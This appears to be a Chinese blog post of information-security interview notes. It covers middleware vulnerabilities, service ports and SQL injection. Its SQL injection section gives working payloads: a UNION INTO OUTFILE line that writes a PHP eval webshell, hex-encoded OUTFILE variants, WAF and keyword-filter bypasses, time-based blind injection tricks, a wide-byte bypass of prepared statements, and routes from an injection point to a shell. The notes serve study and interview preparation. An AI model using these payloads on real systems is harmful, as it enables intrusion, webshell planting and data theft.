信息安全面试总结

377 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

信息收集

常见中间件漏洞

 1.IIS
     1、PUT 漏洞
     2、短文件名猜解
     3、远程代码执行
     4、解析漏洞
 2.Apache
     1、解析漏洞
     2、目录遍历
 3.Nginx
     1、文件解析
     2、目录遍历
     3、CRLF 注入
     4、目录穿越
 4.Tomcat
     1、远程代码执行
     2、war 后门文件部署
 5.jBoss
     1、反序列化漏洞
     2、war 后门文件部署
 6.WebLogic
     1、反序列化漏洞
     2、SSRF
     3、任意文件上传
     4、war 后门文件部署
 7.其它中间件相关漏洞
     1、FastCGI 未授权访问、任意命令执行
     2、PHPCGI 远程代码执行

常见端口及对应服务

 3306 mysql
 1433 mssql
 1521 oracle
 5432 postgresql
 6379 redis
 27017 mongodb
 8080 tomcat/resin/jetty
 137 samba
 5900 vnc

SQL注入

2.1 原理

 使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行
 简单的说:
 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

2.2 常见数据库端口

 关系型:
     mysql:3306
     sqlserver:1433
     orecal:1521
     PostgreSQL:5432
     db2:50000
 非关系型:
     MongoDB:27017
     redis:6379
     memcached:11211
 ​

2.3 SQL注入的分类

 从注入参数类型分:
     数字型注入
     字符型注入
     搜索型注入
 从注入方法分:
     基于报错
     基于布尔盲注
     基于时间盲注
     联合查询
     堆叠注入
     宽字节注入
 从提交方式分:
     GET注入
     POST注入
     COOKIE注入
     HTTP头注入

2.4 load_file判断是否有读写权限

 and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
 and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权

2.5 mysql5.0上下有什么区别

 mysql5.0以下版本没有information_schema这个系统库,无法列出表名列名,只能暴力跑

2.6 MySQL中@和@@的区别

 一个@是用户自定义变量
 两个@是系统变量,如@@version@@user

2.7 MySQL绕过常用函数

 group_concat() ==> concat_ws()
 sleep() ==> benchmark()
 mid()、substr() ==> substring()
 user() ==> @@user
 updatexml() ==> extractvalue()

2.8 SQL注入的危害和修复

 造成敏感信息泄漏,攻击者可以对表数据进行操作。如果有写权限,可以写入木马,可能被getshell。或者被提权
 ​
 修复方案:
   sql语句预编译
   对输入内容进行转义
   使用安全函数

2.9 SQL注入写入webshell的条件和方式

 条件:
     要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
     gpc没有开启,开启了单引号被转义了,语句就不能正常执行了
     要有file权限,默认情况下只有root有
     对目录要有写权限,一般image之类的存放突破的目录就有
     
 方式:
     1union写入
         union select into outfile,将一句话写入shell.php,仅适用于联合注入
         具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
         ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
     2.分隔符写入
         当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式
         具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
         ?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#
         ?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
         ?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
         ?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#
     3.log写入
         新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
         具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

2.10 sql注入过滤了逗号

 /*1.join绕过*/
 union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
 ​
 /*2.对于mid()和substr()函数,可以使用from for*/
 select substr(database() from 1 for 1);
 select mid(database() from 1 for 1);
 ​
 /*3.对于limit可以用offset*/
 limit 0,1 ==> limit 1 offset 0

2.11 sleep被禁用后还能怎么进行sql注入(延时函数都有哪些?)

 /*1.benchmark代替sleep*/
 id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
 ​
 /*2.笛卡尔积盲注*/
 select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
 ​
 /*3.RLIKE盲注*/
 select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

2.12 Select被过滤怎么办

 sel<>ect
 sele/**/ct
 /*!%53eLEct*/
 se%0blect
 REVERSE(tceles)
 %53eLEct

2.13 盲注关键的表被过滤了,该怎么办

 如果关键的表被禁用了,可以使用这种形式
 select count(*) from (select 1 union select null union
 select !1) group by concat(version(),floor(rand(0)*2))
 ​
 如果 rand 被禁用了可以使用用户变量来报错
 select min(@a:=1) from information_schema.tables group by concat(passwo
 rd,@a:=(@a+1)%2)

2.14 sql注入常见的过WAF方法

 内联注释绕过
 填充大量脏数据绕过
 垃圾参数填充绕过
 改变提交方式绕过,如GET方式变为POST方式提交
 随机agent头绕过
 fuzz过滤函数
 函数替换绕过

2.15 Mysql UDF提权

 原理:
   UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
   
 条件:
   如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
   如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目   录,在windows server 2000下放置在c:\winnt\system32目录。
   掌握mysql数据库的账户,从拥有对mysql的insertdelete权限,以创建和抛弃函数。
   拥有可以将udf.dll写入相应目录的权限。

2.16 SQL注入如何判断不同数据库

 1.注释符判断
 /是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL;
 继续提交如下查询字符:–是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说
 明为这两种数据库类型之一。
 继续提交如下查询字符:;是子句查询标识符,Oracle 不支持多行查询,因此如果返回
 错误,则说明很可能是 Oracle 数据库。
 2.函数判断
 and (select count()from MSysAccessObjects)>0 access 数据库
 and (select count()from sysobjects)>0 返回正常说明是 mssql 数据库
 and length(user())>10 返回正常说明是 Mysql
 Oracle 可以根据 from dual 虚拟库判断
 3.根据语言和中间件常识
 Asp 和.net 通常使用 sqlserver
 Php 通常使用 mysql 或者 postgresql
 Java 通常是 oracle 或 mysql
 IIS 服务器是基于 windows 的架构,后台数据库有可能是 sqlserver
 Apache 服务器,可能使用开源数据库 mysql 或 postgresql

2.17 预编译是否100%能防御SQL注入

 预编译原理:
 先将查询语句固定
 通过函数将传参变为字符串
 拼接字符串去执行
 你的关键字根本不会当作关键字去执行
 $pdo->query(‘SET NAMES gbk’);
 $var = “\xbf\x27 OR 1=1 /“;
 $query = ‘SELECT FROM test WHERE name = ? LIMIT 1;
 $stmt = $pdo->prepare($query);
 $stmt->execute(array($var)); 类似于宽字节注入

2.18 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell

 (1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询
 的输出重定向到系统的文件中,这样去写入 WebShell
 (2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样
 效率更高
 (3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,
 再在后台通过改包上传等方法上传 Shell

三、XSS